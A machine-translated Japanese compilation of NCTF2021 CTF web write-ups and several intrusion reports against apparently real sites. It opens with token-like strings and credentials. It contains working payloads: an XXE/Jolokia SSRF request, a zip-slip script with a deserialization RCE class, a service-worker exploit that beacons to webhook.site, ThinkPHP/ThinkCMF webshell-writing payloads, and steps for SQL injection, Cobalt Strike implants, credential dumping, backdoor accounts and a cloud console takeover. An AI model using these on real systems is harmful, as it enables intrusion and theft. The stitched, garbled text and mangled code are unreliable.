admin; 123456Test; 123456TOKEN_TEST='eyj0exaioijkv1qilcjhbgcioijsuzi1nij9.eyj1c2vyijoidgvzdcisimlwijoimtcyljiwlji0mc4zmij999.a9crtyzlavhqif9vrihn1ksjle FZCKPARV3EO96EBSLD5GZRU78QGIFKDTW_YXQGYC7Z82PQH1BQGWMF5CLBFYSQNB6V9HV7FYZJUPZZT2B-IRXITYFHW2QQJR0I_YRJATOKEN_ADMIN='eyj0exaioijkv1qilcjhbgcioijsuzi1nij9.eyj1c2vyijoiywrtaw4ilcjpcci6ije3mi4ymc4yndaumziifq。 DDTMCHPMQTBA_2_WJXLPO_6G5DTAM7STY2KNNGOL6QAEAWH4Y8EJY6NDBLUEMHXYYECPILFXZXZXEPQKV_GW3RGREG7L

web

x1ct34m_api_system

著者:wh1sper

タイトル説明:

APIセキュリティの新しい時代では、セキュリティサークルは変更を拡大しています。

あなたは巨大な波を作っていますか?あなたは空を覆うあなたの手を持っていますか?以前のパートナーを保護または放棄することを選択しますか?

Target:http://129.211.173.64:582/

添付のリンク:

https://wwn.lanzoui.com/iuodwwyfdxc

hint1:

バイパス403への隠されたAPI

hint2:

Jolokia Readfile

テストポイント:スプリングブートアクチュエータの不適切な構成によって引き起こされるAPIセキュリティの問題

アクチュエーター /マッピングにアクセスすることにより、 /アクチュエーター /ジョロキア(ローカルIPの制限、直接アクセス返品403)と非表示のAPIインターフェイス /ユーザー /リストがあることがわかります。

または、Apikitを直接使用して /user /list:

NCTF2021 Official Writeup-小绿草信息安全实验室postアクセス /ユーザー /リスト、XML形式のデータを返します

NCTF2021 Official Writeup-小绿草信息安全实验室とても当然、私はxxeについて考えました。 WAFを追加し、ファイルを直接読み取ることを許可しませんでした。

(ここには予期せぬことをした2人のマスターがいます。XXEのWAFはうまく書かれていませんでした。そのため、テイクアウトフラグを盲目的に呼び出すことができます。ターゲットマシンがネットワークから出ないように制限し、テイクアウトできませんでした。)

しかし、私たち全員が知っているように、XXEはSSRFになる可能性があります。

その後、SSRFは /アクチュエータ /ジョロキアと一緒に使用できます。 Dockerプロキシのポートであるため、ローカルサービスポートを取得するには、最初にアクセス /アクチュエーター /envが必要です。

NCTF2021 Official Writeup-小绿草信息安全实验室その後、SSRFを構築します。

NCTF2021 Official Writeup-小绿草信息安全实验室 /jolokia /listによって返されるデータは長すぎるため、内部のいくつかの特別なシンボルはXMLドキュメント構造が同じエンティティ内で開始および終了する必要があると報告しています。

それで、私は後で添付ファイルを与えたので、私は地元で起動して、どのMBeanがそこにあるかを見ることができます。

NCTF2021 Official Writeup-小绿草信息安全实验室には、ファイルを読み書きできるMbeanがあります。

com.sun.management:type=diagnosticcommand

このMbeanがリモート環境に存在するかどうかを判断します。

NCTF2021 Official Writeup-小绿草信息安全实验室 NOがある場合、返された画像は上記の写真です。いいえがある場合、返された画像は次の2つの状況です

NCTF2021 Official Writeup-小绿草信息安全实验室Exp:

投稿/ユーザー/リストhttp/1.1

host: localhost:8080

user-agent: mozilla/5.0(windows nt 10.0; win64; x64; rv336094.0)gecko/20100101 firefox/94.0

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Avif、Image/Webp、*/*; Q=0.8

Connection:閉じます

Cookie: jSessionId=4E8E18623EC2DEB1675E56DF895D33B

Content-Type:アプリケーション/XML

Content-Length: 194

?xmlバージョン='1.0'?

!doctype dy [

!エンティティDYシステム 'http://127.0.0.1:8080/Actuator/Jolokia/Exec/com.sun.management3:Type=DiagnosticCommand/CompilerDirectiveSadd/!/!/flag'

]

Iddy;/idcopyflag:

nctf {spring_actuator_and_jolokia_1s_so_fun_by_the_way_we1com3_to_join_api_security_community_yulige_yyds_wysb}

ezjava

質問者ID:pupi1

タイトル説明:

Dai教授は、2日間のファイル管理システムを開設しました。それが完成する前に、彼はハッカーに取り去られ、その中に何かを隠しました。

http://129.211.173.64:8080/html/index.html

http://129.211.173.64:8081/html/index.html

添付のリンク:

リンク:https://pan.baidu.com/s/1jb6kcy478ashrtxefjp1bq

抽出コード:NCTF

https://wwn.lanzoui.com/iamsdwyi0pe

https://ATTACHMENT.H4CK.FUN:9000/web/ezjava/nctf.war

flag3360

nctf {j3va_securlt9_ls_t0o_dlfficult}この質問は、JSPをサポートして任意のファイルを書き込むことをサポートしないRCE使用率です

前の部分では、最初にコードを監査します。 zipをアップロードしてから、減圧で見つけることができます。

NCTF2021 Official Writeup-小绿草信息安全实验室圧縮されたパッケージファイルのファイルを確認しないため、解凍されたディレクトリの交差点につながる可能性があります。ここで、スクリプトを介してそのようなzipを生成できます。

zipfileをインポートします

OSをインポートします

__name__=='__main __' :の場合

try:

zipfile=zipfile.zipfile( 'poc.zip'、 'a'、zipfile.zip_deflated)

info=zipfile.zipinfo( 'poc.zip')

zipfile.write( 'poc.class'、 '././usr/local/tomcat/webapps/html/web-inf/classs/com/x1c/nctf/poc.class'、zipfile.zip_deflated)

zipfile.close()

e:としてのioerrorを除く

エコピーを上げると、私たちは今ではあらゆるファイルに書き込むのと同じくらい良いです。したがって、Spring Bootが実行されているときにRCEを取り除く方法の問題であり、ホット展開なしでJSPをサポートしていない(再起動プロセス中にJSPサポートが開かれているようですX___X)

実際、ここでは脱介入のためにバックドアが与えられています。ここのプロンプトは実際には非常に明白です。 ClassPathに悪意のあるクラスファイルを書くことができます。 Deserializationを通じて悪意のあるクラスにReadobjectメソッドをロードし、RCEを達成する方法。

質問によって与えられた添付ファイルは戦争であり、クラスパスを簡単に取得し、悪意のあるクラスをクラスパスに解凍し、バックドアの脱色を通してそれをトリガーするためのTomcatへの道もあります。 (Tomcatパスはデフォルトであり、パスをzipルートで確認できるため、Tomcatパスは最初にここに与えられませんでした。ただし、解決策がない場合は、ヒントを使用してマスターを促します:)

Exp:

パッケージcom.x1c.nctf;

java.io.*をインポートします。

java.io.serializableをインポートします。

com.x1c.nctf.tool。*;

パブリッククラスPOCはシリアル化可能な実装{

public poc(){

}

private void writeObject(objectInputStream out)IoException、classNotFoundException {

out.defaultreadobject();

}

private void readObject(objectInputStream in)IOException、classNotFoundException {

in.defaultreadobject();

runtime.getRuntime()。exec( 'touch /tmp/1.txt');

}

public static void main(string [] args)スロー例外{

poc o=new poc();

system.out.println(tool.base64encode(tool.serialize(o)));

}

}

backdoor?cmd=ro0abxnyabbjb20uedfjlm5jdgyuug9jltxeychkw8gcaab4ca==コピーシェルをリバウンドするだけです!

prettyjs

質問者ID:BYC_404

タイトル説明:

エクスプレステンプレートを提供する役に立たないウェブサイト…

link:https://prettyjs.bycsec404.top

添付のリンク:

リンク:https://pan.baidu.com/s/174wsqkqh08l-utnipr0uva

抽出コード:1TXC

https://ATTACHMENT.H4CK.FUN:9000/web/prettyjs/prettyjs.zip

https://nctf.slight-wind.com/web/prettyjs/prettyjs.zip

flag3360

nctf {eany_get_me_a_job_to_study_on_javascript:)}この質問の主な目的は、XSSのない /API /テンプレートの下でプレイヤーがXSを使用して機密情報を取得しない方法を調べることです。ただし、問題を展開する際の私の過失により、/API/テンプレートのデフォルトのコンテンツタイプはText/HTMLです。 csrf=xss orzを直接実行できます。ここのコンテンツタイプはテキスト/プレーンである必要があると予想されます。

これが予想されるアイデアプロセスです:

コードを監査した後、Cookieを構築する必要があり、Cookieに必要なadmin_usernameとcookie_secretは、 /api /テンプレートルートのadmin botのテンプレートコンテンツに由来することがわかります。

ただし、理論的には、サイトにはXSがないため、出発点は次のとおりです。ボットに独自のサーバーにアクセスし、トピックWebサイトにクロスドメインリクエストを行うことができます。

クロスドメインには、SOP(同じ起源ポリシー)の制限が必要です。タイトルのCookie Samesite属性は誰にも設定されていないため、Cookieはサーバーのドメインでまだ有効になりますが、Fetch、xmlhttprequest、その他の手段を介してSOPによって制限されます。リクエストは送信されますが、返信はJavaScriptが返された後に取得されません。

NCTF2021 Official Writeup-小绿草信息安全实验室同時に、サーバー上の参照チェックもあります。NCTF2021 Official Writeup-小绿草信息安全实验室

ここでの参照チェックは、実際には多くの主流のWebサービス/ミドルウェアがJSONP、ビデオアドレス、その他のインターフェイスの参照者をチェックする手段です。参照ヘッダーがある場合は、それが当社からあるかどうかを判断します。ただし、このような検査方法をバイパスするのは非常に簡単です。参照者を持参しないでください。

したがって、重要なのは、ドメイン間でロードして戻り値を取得することです。 JSをドメイン間でロードするときにSOPによってスクリプトが制限されないことを知っています。また、その返品コンテンツも制御範囲内にあることがわかっています。しかし、ここでスクリプトで解決する必要がある2つの問題があります

/API/テンプレートコンテンツは、JS/API/テンプレートだけではありません。それはポストルートです。これら2つの問題を順番に解決します。

最初の質問は、まず、 /API /テンプレートのコンテンツが制御可能なuserame+の素晴らしいエキスパートページで構成されていることです。以下を確認しますか? ExpressJSの単純なコード。コードの次の部分は、当然合法的なJSコードです。最初の部分はどうですか?最初の行がコメントアウトされている限り、ページ全体のコンテンツが合法的なJSであるということは本当ですか?

答えはイエスです。ただし、ここではユーザー名が制限されており、使用できません /。 //または /*は使用できません。ただし、フロントエンドでJSの別のコメント方法を使用して、最初の行をコメントします。これにより、 /API /テンプレートのコンテンツ全体がJSになります。

NCTF2021 Official Writeup-小绿草信息安全实验室 2番目の質問は、スクリプトのロードコンテンツを投稿する方法です。ここでの私のアプローチは、サービスワーカーを使用して /API /テンプレートにリクエストを変更することです。サービスワーカーはブラウザサイドエージェントと同等であることがわかっているため、自然に投稿することができます。次に、最終的なソリューションが明らかになります。

サービスワーカーを登録したいので、HTTPサービスを提供するようにノードサーバーをローカルにセットアップし、NGROKを使用して一時的なHTTPSドメイン名を取得します。その中で、SW.JSは、get to postから /api /テンプレートに送信されたリクエストメソッドを変更します。

server.js

const express=require( 'express');

const app=express();

const logger=require( 'morgan');

app.use(logger( 'dev'));

app.get( '/'、(_、res)={

REST res.sendfile(__ dirname + '/solve.html');

})

app.get( '/exp'、(_、res)={

REST res.sendfile(__ dirname + '/exp.html');

})

app.get( '/sw.js'、(_、res)={

Res.Type( 'Application/JavaScript');

RETURN RES.SEND( `self.addeventlistener( 'fetch'、(event)={

event.respondwith((async())={

それをしましょう;

if(event.request.url.includes( 'Template')){

resp=await fetch(event.request、{

Method: 'post'、

headers: {

'content-type':'アプリケーション/x-www-form-urlencoded '

}、

body: 'username=! - '、

ReferRerPolicy: 'no-referrer'

});

RETURN REST;

} それ以外{

return await fetch(event.request);

}

})());

}); `)

})

app.listen(9000)copysolve.html。サービスワーカーを登録するために使用されます

!doctype html

HTML

TitleSolve/Title

スクリプト

if( 'serviceworker' in Navigator){

window.addeventlistener( 'load'、()={

const sw='https://6ad8-47-94-110-102.ngrok.io/sw.js';

navigator.serviceworker.register(sw、{scope: '/'})

.then((register)={

navigator.sendbeacon( 'https://webhook.site/E708EB94-EA07-490A-969A-742D40033925'、「登録」);

setimeout(()={

window.open( '/exp')

}、100);

}、(err)={

navigator.sendbeacon( 'https://webhook.site/e708eb94-ea07-490a-969a-742d40033925'、 '登録失敗');

console.log( 'Service Worker error:'、err);

});

});

}

/スクリプト

/頭

BYC_404はこれを手に入れました

/体

/htmlcopyexp.html。ロード /API /テンプレートとadmin_usernameとcookie_secretをフックから取得します。ここでは、主にいくつかの関数を書き換えて追加して、NodeJSの下のコードをまだ合法化してフロントエンドJSに入れます。同時に、取得したいコンテンツステートメントは、global.process.env.admin_username.setflag(cookie_secret)です。プロキシを使用してHookGlobalを使用してプロパティにアクセスしたり、メソッドを呼び出したりすることができます。

スクリプト

const target='https://prettyjs.bycsec404.top';

const script=document.createelement( 'script');

script.referrerpolicy='no-referrer';

script.src=ターゲット + '/api/テンプレート'

document.body.AppendChild(スクリプト);

const require=(module)={

if(module=='Express'){

return()={

戻る {

use:()={}、

all:()={}、

聞きます:()={}、

get:(data、func)={

object.prototype.global=new Proxy({}、Handler);

func( 'byc_404'、{send:()={}});

0x00はじめに

2022.8.xユニットは、特定の業界での特別な攻撃および防衛ドリルに参加することを突然通知し、学習を目的として波に参加しました。ここで記録します。

0x01ハンドイン

ターゲットユニット名を取得します

最初に、AiqichaやTianyanchaなどのツールを介して、ターゲットとターゲットの下位ユニットの情報を確認してください

利用可能なツール:ENESCAN_GO

次は、情報収集の3つの軸です

サブドメイン名、IP、ポート

サブドメイン名を収集:OneForall(APIはより完全に構成する必要があります)、サブファインダー、FOFA、ハンター

IPSを収集:eeyes、domain2ip

ポートスキャン:Goby、NMAP、Masscan

Goby Full-Port Scanningはここで使用されており、スキャン速度は心配していますが、利点は比較的包括的であり、ディスプレイ効果が向上していることです。

ポートをスキャンした後、Webおよび非Webクラスのポートを除外してください。これにより、正確な攻撃が容易になります。

Webクラスは最初に指紋認識を実行し、(Shiro、Tongda OA、Ufida NCなど)などのいくつかの主要なフレームワークシステムに対する攻撃を優先順位付けできます。

非Webクラスは、サービスブラストのためにスクリーニングできます。 6379 Redisなど、最初にいくつかの特別なポートを試すことができます

0x02ブレークスルーを取得

いくつかの操作の後、上記のポイントを通じて、Shiroフレームワークを備えたシステムが取得されました。このシステムは、パスにアクセスした後、デフォルトでSSOプラットフォームに転送されました。システムに入るには、入り口をログインしてSSOプラットフォームで検証する必要があります。ただし、手動のパスワードテストの後、弱いパスワードを介してSSOシステムを入力することは少し困難であることがわかったため、戦略的にあきらめました。

まず、Shiro Deserialization Toolを使用して、RCEの脆弱性があるかどうかを確認します。

image-20220825152609345.png

これが提案です。さまざまなツールが必ずしもキーと利用チェーンを投げるとは限りません。テストしているときは、テストするツールをさらにいくつか変更してみてください。ここで3つのツールを変更して、キーと利用チェーンを取得しました。他のツールは出て行けません(キー辞書の問題、または単に出られない.)

image-20220825154032692.png

image-20220825154317117.png

Linux Machine、Whoami Root Permissions、pingwww.baidu.comが利用可能です。

最初にLinuxステートメントを使用して、Webサイトの静的ファイル名に従ってディレクトリアドレスを見つける

/-name 404.jspを見つけます

image-20220825154413821.png

Webサイトのルートディレクトリに直接、VPSのJSPホースにアクセスしてから、アリの剣に接続できます。

image-20220825155446999.png

検索/WebAppsの後、3つのシステム + SSOシステムがあることがわかりました

SSO検証がある限り、他の3つのシステムにアクセスできると思います。

image-20220825160138665.png

次に、構成ファイルのフリップを開始します

Path/webapps/xxx/web-inf/classes/

dbconfig.propertiesファイルが見つかり、mysqlとredisの間の接続情報が見つかりました。 (私はそれをコーディングするためにそれ以上のものを入れません)

MySQLは、イントラネットからではなく、Alibaba Cloudからのものです。見た後、使用していたマシンはクラウドホストであることがわかりました。

Baiは幸せで、次のステップについて考えて、MySQLがSSOにログインできるかどうかを確認し、ファイルと漏れた構成情報を検索してから作業を終了しました。

MySQLを接続した後、SSOライブラリと他の3つのシステムのライブラリを見ましたが、最も緊急のことは、最初にSSOにログインできるかどうかを確認することです。

SSOテーブルでSSO_PWDフィールドを表示します

image-20220825161123156.png

暗号化されていることがわかりました。まだ通常の暗号化ではありません。 (ベンブに住んでいます。)

0x03暗いヤナギと明るい花

レポートの作成を終えようとしていたときに、config.propertiesという名前のファイルが私の注意を引きました。

クリックして確認して確認してください!

image-20220825161652464.png

SSOはキーペアとAliyunのAccessKeyIdとSecret Take Afveを暗号化しました!

0x04 SSOパスワードを復号化する

RSA暗号化、RSA復号化- オンラインツール-Oktoolsimage-20220825162544727.png

パスワードはランダムに生成されました。私はこの人生で決して爆発しません。

SSOシステムにログインします

image-20220825162843993.png

次に、データベース内の他のライブラリのパスワードを介して3つのシステムを入力し、写真の掲載を停止しました(コードするにはあまりにも多くのもの.)。

0x05クラウドプラットフォームを引き継ぎます

数日前に私が見たMaster Teamsixによる記事は、今日から再び現れていましたが、これは非常に快適です。

CFを使用して、クラウドイントラネットに浸透しましたT wiki(teamssix.com)

CFツールアドレス:

TeamSSIX/CF:クラウドエクスプロイトフレームワーククラウド環境利用フレームワーク。これにより、赤チームメンバーがAKの取得をフォローアップできるようになります(github.com)

cf alibaba ls

クラウドリソースを表示します

image-20220825164049756.png1バケットバケット + 2 OSSリソース + 1 ECSリソースCF Alibabaコンソール

バックドアユーザーを追加して、Alibaba Cloud Consoleを引き継ぎます

image-20220825163327862.png

image-20220825164425766.png

アクセス制御では、現在の許可は次のとおりです。AndistratorAccessとは、テナントimage-20220825164744159.pngの管理者の権利を取得したことを意味します。

OSSリソースとECSリソースをご覧ください

OSS:

image-20220825164840765.png

ECS:

image-20220825164925978.png

image-202208251655288.png

この時点で、私はレポートを書き終えて仕事を終えました。

0x06要約

クラウドプラットフォームを引き継ぐAKの波が再現されており、私は多くを獲得したと感じています。クラウドセキュリティは、将来的には攻撃的および防御的な訓練のブレークスルーになると信じています。

さらに、今回の攻撃経路は少し滑らかすぎました。 Shiro Frameworkを見つけても、構成ファイルを介してRSAキーペアとAKの構成情報を見つけることであっても、私はそれがハニーポットだと思っていました。

追加:レポートを書いていたとき、私はチームメイトとおしゃべりしましたが、このサイトがまだターゲットであるとは思っていませんでした。攻撃と防衛のドリルは非常に重要であるとしか言えません。元の接続:https://Forum.butian.net/share/1854

0x00はじめに

昨年、私はウェイブで買い物をしていました。私はもともと、私のトレース能力を練習するためにいくつかのIPを見つけようとしていましたが、私は誤って豚の殺害ディスクを発見しました。この記事に不足している部分がある場合は、時間内にそれらを指摘してください。このターゲットを再び登場するために私を見つけてワイブに行かないでください。このケースは、完全に担当者に引き渡されました。

0x01簡単なレシピ

Image

リンクを開いたとき、強い「マイクロディスク」オーラがやってくるのを見ました。この一連のソースコードを自分で監査していたので、対応する場所を直接見つけてXSSと呼ばれます。その結果、マイクロディスクが3オープンしたことが判明しました。はい、3オープンしました!

必死になって、私はまだ古いアイデアを使用し、フレームワークレポートをエラーにし、バージョン番号を見て、RCEを通過する方法を見つけます。

Image

バージョン番号と物理的なパスを取得すると、実際には詳細があります。下の写真を見ることができます。

Image

これがserver_nameとserver_addrです。以前に同様のプロジェクトに取り組んでいた状況に遭遇しました。ページのレポートにエラーがあることに応じて供給された2つの情報には、実際のIPが含まれている可能性があります。ターゲットリアルIPが見つからない場合は、このトリックを試すことができます。

誰もが、そのようなターゲット、他のサイドステーション、港、その他のコレクションが役に立たないことを知っているので、詳細は説明しません。

アカウントを登録して見ました。それを使用する意味はありませんでした。この時点で、私は突然、商品/PIDに注入があったことを思い出しました。私たちは以前にそれを打つために私たち自身の日を使ったので、私はこの注入ポイントを使用したことがありませんでした。今日は試してみます。

Image

ビンゴ!これは非常に厄介です。物理的な道を知っているなら、シェルを渡すことができますか?いいえ、それは不可能であり、十分な権限がありません。

しかし、私が見つけたものを見てください!

Image

データベース情報は不可解に表示されているので、直接接続できますか?明らかにそうではありません。なぜなら、外部から接続できないからです。

0x02正しい

膠着状態は約10分間続きました。私が見つけたものを見てください。

Image

ハハハ管理者、どうやってこれを見つけたの?前に、このシステムの最初と2番目のオープニングを監査したことを前に述べました。特定の特定のディレクトリにこのような管理者データベース管理システムがあるので、このターゲットからもファズになり、それを見つけてから接続します。

疑わしいIPを見つけ、信頼性、位置決めなどを確認してください。

Image

案の定、それは再び私たちの大雲母にあります。

証拠の完全性を確保するために、私たちはまだ背景に写真を撮る方法を見つけなければなりません。私は今カレーにいるので、ブラインドヒットXSが成功しない場所を強制することができ、XSの支払い負荷を強制してから、カスタマーサービスを引き起こすように誘導できます。

Image

Image

Image

それから私は入りました。バックグラウンドアップロードポイントは3番目のバージョンで削除されました。データベースのシェルアクセス許可は十分ではなく、必要なサービスを有効にできなかったため、最終的にシェルを取得できませんでした。

元のリンクで転載: https://mp.weixin.qqc.com/s?__biz=mzg4mjcxmtawmq==mid=2247486198Idx=1Sn=e41bc5d7e4aee7314beaab7f5830435dchksm=CF53Ca4 0F8244356493DFF79A82E26A8C3EF89C50C4508DE61CACF523527534D383E6D6B24445SCENE=178CUR_ALBUM_ID=28315116888864565656580#RD

最近、私は誤って豚を殺すプレートを購入する仮想通貨を発見したので、私はテストの波を実施しました、そして、元監督はこのようでした。

图片

ThinkPhp5.0.5のRCEで入力され、WebShellに正常に書き込まれます。

s=index | think \ app/invokeFunctionFunction=call_user_func_arrayvars [0]=assertvars [1] []=@file_put_contents(base64_decode(mtiznduucghw)、base64_decode(mti8poccccbldmfseakeakx1bpu1rbj2en))

PHPINFO情報を確認して、システムコマンドを実行できるすべての関数が無効になっていることを発見し、COMもDLロードも使用して対応するシステムコマンドを実行できません。以下に示されています。

图片

assert、system、passthru、exec、pcntl_exec、shell_exec、popen、proc_open //phpシステムコマンドはすべて無効です

ただし、ファイルの読み取りおよび書き込み許可は、assert()、file_put_contents()などの関数を無効にしません。チェック後、Windowsシステムに示されているように以下であることがわかりました。

图片

PHPがシステムコマンドを実行するすべての機能は無効になっているため、システムコマンドを実行できないことは非常に不快です。彼のウェブサイトのソースコードをダウンロードした後、私はそれを簡単に読んで、彼の管理者のクッキーが修正されており、バックドアのように見えるように、次のように偽造できることを発見しました。

图片

したがって、ログインしてバックグラウンドをバイパスでき、管理者Cookieが修正されます。 Cookieフィールドを追加してログインしてバイパスします。ブラウザf12は、上記のキー値をCookieに追加してインデックスにアクセスすると、以下に示すようにバックグラウンドに正常にログインできます。

图片

フロントデスクはカスタマーサービスを尋ね、転送口座について学びました(豚の殺害ディスクの操作方法は、ユーザーがカスタマーサービスによって提供されたアカウントにお金を転送した後、ユーザーはレビューのためにアカウントの対応する資金の値を急いでいることです。

图片

システムコマンドは以前に実行されなかったため、突破したい場合は、サーバー上のファイルをめくり始めます。システムファイルをめくった後、Pagodaフォルダーが存在することがわかります。検出では、Pagodaサービスが実際に開いていることがわかりましたが、以下に示すように、デフォルトのログインポートが変更されています。

图片

Pagodaファイルを見ると、以下に示すように、ストレージパスのファイル名admin_path.plがあります。

图片

以下に示すように、Pagodaログインポータルを見つけて、ログインポータルに正常にアクセスしました。

图片

引き続き検索して、対応するログインパスワードを保存するdefault.plファイルを見つけ続けます。

图片

パスワードを取得した後、デフォルトのユーザー名を試してみて、それが間違っていてログインできないことがわかりました。ファイルdefault.dbファイルをめくり続けてログインレコードを記録します。ログインアカウントを見つける:

图片

以下に示すように、アカウントパスワードを使用してPagoda Management BackEndに正常にログインします。以下に示すように、アカウントパスワードを使用してPagoda Management BackEndに正常にログインします。

图片

計画されたタスクを変更して、CSのオンライン馬を実行するスケジュールされたタスクを見つけます。オンラインタスクが起動されたら、計画されたタスクを次のように変更してください。

图片

CSは次のように正常に起動されました。

图片

IPにはパブリックアドレスのみがありますが、イントラネットはありません。同じCセグメントに展開されており、すべて同じものである他のいくつかのデバイスがあるため、ダウンしません。

图片

それはすべてこのようにして、退屈な味はありません

元のリンクで転載: https://mp.weixin.qqc.com/s?__biz=mzg2ndawmda1na==mid=2247486570IDX=1SN=0C20FBBF4ADBEB5B555164438B3197F7CHK SM=CE67A6F3F9102FE51B76482CD7D6BB644631AE469D8C1802956034077137ECD49EA56C8D2B1FSCENE=21#wechat_redirect

https://xz.aliyun.com/t/8224

序文

昨日の真夜中に記事を見ました。

私は自分のスキルを練習していたと思っていましたが、戦いの途中で、マスターはすでにそのような場所を傷つけていることがわかりました。それで、私はマスターの経験から学び、いくつかのエクササイズをして、自分が考えたことは何でも記録しました。そのため、執筆は非常に複雑で、解決策があるかどうかも記録しました。それから私はサイトを変更し、歩き続けました。

情報収集

フロントデスクはこのようなものです

Image

他の情報を見てください

Imageポートクエリ

Image80はメインページ8182です。

Imageカタログのトラバーサル

Image

脆弱性の発見

最初にバックエンドページに移動します

ユーザー名の入力:123プロンプスユーザーが存在しないプロンプトユーザー名を入力します:管理者プロンプトユーザーまたはパスワードが間違っています

管理アカウントを確認すると、確認する検証コードがありません。

直接弱いパスワード管理者123456背景を入力します

Image多くの機能はありませんし、使用するものは何もありません

ログインに戻ってSQLインジェクションを実行します

Image ImageMSSQL、DBA許可、Direct –OS-Shell

Imageここでの最初のマシンはネットワークを離れず、エコーしませんでした。私はあきらめました。いくつかのサイトを検索した後、私はついにリリースされてエコーされたウェブサイトを見つけました(リリースされている限り簡単に解決できました)。

Image

Image

csはオンライン

です

ここでCSを試して、ネットワークがPowerShellをオンラインで直接生成すると判断します

Image Image Image情報を確認し、タスクリストを確認してください

Image現在、それはデータベースの許可です。私は当局を増やそうとしましたが、それは直接切断され、ウェブサイトを開くことができませんでした。注意して使用し、十分な情報を収集し、十分なパッチ情報を収集する必要があります。

Image別のサイトが変更されました。ウェブサイトパスを見つけます

Image最初にウェブシェルを入手してください

ImageGodzillaのサツマイモはシステムに昇格しています

ImageCSプラグインのサツマイモも、権利を正常にアップグレードしました

Image

管理者のパスワードをつかみます

logonpasswords

有料

ImageADDシャドウアカウント、管理者の権限を追加する

Image

パブリックネットワークCSは、FRPを介してイントラネットMSFに行きます

最初の投稿、FRP+CSはローカルKaliシェルを実装します

サーバー(ここは5000です。変更後にスクリーンショットを撮るのを忘れていました)

Imageクライアント

ImageMSF監視を可能にします

ImageCS

Image

後続

トークンを盗んで管理者としてログインできるかどうかを確認してください

getuid //現在のトークン・インコグニットを見る

晴れた夜、私はTwitterで歩くことに興奮していましたが、突然、次の推奨フォローはXXXXビデオの名刺であることがわかりました。

图片これ、これ、これ、これ、私は真面目な人です、Twitterがこれらを私にプッシュした理由はわかりません。これを実行し、プロモーションリンクを開き、アプリをダウンロードする必要があります。

图片

このアプリは、開くとすぐに馴染みのある臭いを人々に与えます。 TP Twoによって開かれた可能性が高いようです。

图片

携帯電話番号、フィドラーを登録してパッケージをキャッチして変更しますが、コンテンツは実際には目を引くものです

图片

私はパケットを捕まえてURLを取得しましたが、これが単にthinkcmfであることがわかりましたか?私は微笑んで微笑んで、私はそれを脱ぐことはなかっただろうと思った。フロントデスクには非常に多くのRCEがありました。たとえ犬がいたとしても、私は数秒でそれをすることができました。しかし、私はすぐに現実に顔を平手打ちしました。

poc:payload1を実行:

/index.php?g=apim=oautha=fetchcontent=phpfile_put_contents('pass.php'、 '?php @eval($ _ post [1]);')/Php 图片

Payload2:

/?a=fetch;templatefile=public/indexprefix=''content=phpfile_put_contents('pass.php','?php@eval($_post [1]); ')/php 图片

Payload3:

?a=displaytemplatefile=%3c?php%20file_put_contents(%27mmphp%27、%27%3c%3fphp+eval($ _ post _ post [%22x%22])%3b%3f%3e%27); die();

/?a=displaytemplatefile=data/runtime/logs/portal/yy_mm_dd.log最後に、M.Phpの1文字のトロイの木馬ファイルがディレクトリで生成され、もちろん他のペイロードとしても記述できます。

图片

操作はトラと同じくらい激しいです。ファイル404を見ると、寒いでしょうか?

图片

さらに、このアプリにはSQLインジェクション:インジェクションポイントもあります。

/index.php?g=appapim=videovideoid=1 图片

注入ポイント2:

/index.php?g=appapim=autha=indexuid=1288889TOKEN=B69CDA34DFF2FA978A94B5583E7F5C9A 图片

图片

注入もクールです。 0日のリズムを取り出してほしいと思われますか?それを忘れて、耐えましょう。いくつかの調査の後、詳細は投稿されず、ここでは千の単語が省略されます。あなたがあまりにも多くのことを言ったら、それはすべて涙です.最後に、Phpinfoがリリースされ、ペイロードはバージョン7.2の上にあります。

/?a=fetchContent=?=phpinfo(); exit();これはシェルに近いステップではなく、disable_functionsが非常に多く無効になっていることがわかります。

图片

私はここでアサート関数を使用して書くことを試みました、そしてそれが行われたと思いましたが、結果はまだ返されました1

图片

@Assert関数は機能しません。ここでは、file_get_contentsを読み取り、データベース構成ファイルを読み取ることができます

图片

config.phpファイルを読み続けたとき、アプリをダウンロードしたときにAlibaba Cloud OSSに配置されたことを突然思い出しました。その構成ファイルにはAlibaba CloudキーとIDが必要であることは論理的ですが、結局のところ現実は非常に残酷であるため、Aliyunの文字さえ見ませんでした。

图片

一部の構成ファイルで読み取るものは何もなく、データベースとRedisを外部で接続することはできません。そこで、シェルを書いて注意深く裏返し、file_put_contentsを使用してファイルを読み取ることを試みます。

图片

不可能だと思われます。パラメーターの問題が原因ですか? file_get_contentsは任意のファイルを読み取ることができますか、それともディレクトリを書き込むことができませんか? /tmp/1.txtで書き込もうとすると、同じエラーも報告されました。 PHPはファイルを書き込むために他の機能も必要だと思ったので、w3schoolはひっくり返しました

图片

123をi.txtに書き込み、ファイルを正常に書き込みます

图片

图片

PHPに文を書くようにしてください、そして、それはテンプレートが存在しないことを促します。どうすればいいですか?シェルが取得されたことがわかりました。 FWRITEパラメーターを注意深くご覧ください。 W+は書き込みを開くことで、R+は追加します。 1つのキャラクターを1つずつ書きたいですか?そうです、それはただ一人のキャラクターを1人のキャラクターに書くことです。a=fetchContent=%3c?=@$ fp=fopen(%221.php%22、%27a+%27);%20fwrite($ fp、%27%27); exit();图片

最後にゲルシェル

图片

バイパスコマンドの実行とリバウンドシェル

图片

次に、パック +ズボンを脱ぎます

mysqldump -h127.0.0.1 -uxxxx -p

0x01脆弱性説明ネットワークDuboは、インターネット手段(違法なDubo Webサイト、ほうれん草アプリ、Wechatグループなど)を通じて実施されるギャンブルアクティビティを指します。オンラインデュボは違法であり、資金は法律によって保護されていないため、多くの「詐欺」行動があります。多くの人々はしばしば、だまされた後、警察に電話をかけず、家族の破壊をもたらします。したがって、Duboを取り締まることが緊急です。特定のほうれん草システムにファイルをアップロードする脆弱性があります。攻撃者は、脆弱性を介してトロイの木馬ファイルをアップロードして、サーバーが失われることがあります。

Image

0x02脆弱性再発FOFA:body='main.e5ee9b2df05fc2d310734b11cc8c911e.css'

1. POCを実行し、Ice Scorpion Horseをアップロードし、アップロードパスに戻ります

